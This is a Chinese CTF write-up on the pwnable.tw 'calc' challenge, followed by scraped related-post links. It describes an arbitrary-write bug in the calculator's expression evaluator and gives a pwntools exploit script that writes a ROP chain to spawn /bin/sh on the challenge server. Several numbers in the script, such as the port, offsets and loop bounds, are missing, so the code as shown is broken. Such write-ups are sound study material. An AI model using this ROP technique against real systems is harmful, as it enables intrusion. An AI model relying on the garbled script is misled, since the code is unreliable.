题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞

运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

下面我们逆向一下整个程序找到真正可利用的漏洞

其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数

下面看一下parse_expr函数

以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可

这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可

from pwn import *

context.log_level='DEBUG'

r=remote('chall.pwnable.tw',)

r.recv()

from struct import pack

# Padding goes here

p = ''

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '/bin'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec064) # @ .data + 

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '//sh'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481d1) # pop ebx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080ec060) # padding without overwrite ebx

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x08049a21) # int 0x80

def set_val(addr):

    r.sendline('+'+str(addr))

    val=int(r.recv())

    if val>:

        r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))

    else:

        r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))

    r.recv()

for i in range(,+len(p)/):

    set_val(i)

r.interactive()

pwnable.tw calc的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  4. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  5. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  6. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  7. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  8. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  9. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

随机推荐

  1. linux安装redis操作

    redis官网地址:http://www.redis.io/ 最新版本:2.8.3 在Linux下安装Redis非常简单,具体步骤如下(官网有说明): 1.下载源码,解压缩后编译源码. $ wget ...

  2. 2019-04-28 Mybatis generator逆向工程生成的Example代码分析

    今天主要对Mybatis generator生成的DAO层等进行分析,讲解Example类的使用和扩展 1.先在数据库建表 CREATE TABLE `department` ( `fid` ) NO ...

  3. String,StringBuffer与StringBuilder的区别?? 缓存

    转: String 字符串常量StringBuffer 字符串变量(线程安全)StringBuilder 字符串变量(非线程安全) 简要的说, String 类型和 StringBuffer 类型的主 ...

  4. git的安装(和远程仓库建立连接)

    安装完git 1.配置用户名和邮箱 $ git config --global user.name "My Name"  $ git config --global user.em ...

  5. python3中的 zip()函数 和python2中的 zip()函数 的区别

    python3中的 zip()函数 和python2中的 zip()函数 的区别: 描述: zip() 函数用于将可迭代对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的对象. ...

  6. vue cli使用融云实现聊天

    公司有个项目要实现一个聊天功能,需求如下图,略显随意 公司最终选择融云这个吊炸天的即时通信,文档详细的一匹,刚开始看文档感觉很详细实现起来也不麻烦,有很多开源的demo可以在线演示和下载 不过我们的项 ...

  7. [数据库] windows server 2003下mysql出现10048错误的解决办法 Can't connect to MySQL server on '127.0.0.1' (10048)(抄)

    网站访问量大了的时候mysql连接数自然就多了,当超出mysql最大连接数的时候就会出现错误,当出现too many字样的错误的时候一般是因为连接数的问题,只需要修改最大连接数max_conectio ...

  8. bzoj 5301: [Cqoi2018]异或序列 (莫队算法)

    链接:https://www.lydsy.com/JudgeOnline/problem.php?id=5301 题面; 5301: [Cqoi2018]异或序列 Time Limit: 10 Sec ...

  9. fast ai-lesson 1 报错解决方法(正则表达式提取文件名)

    在运行fast ai lesson 1的代码的时候,运行到的时候报错了 data = ImageDataBunch.from_name_re(path_img, fnames, pat, ds_tfm ...

  10. 第一模块:Python基础(二)

    目录 1.变量 常量 2.用户交互和注释 程序交互 注释 字符串 布尔型(bool) 格式化输出 运算符 while 循环 @(开发基础) 1.变量 变量用于存储要在计算机程序中引用和操作的信息.它们 ...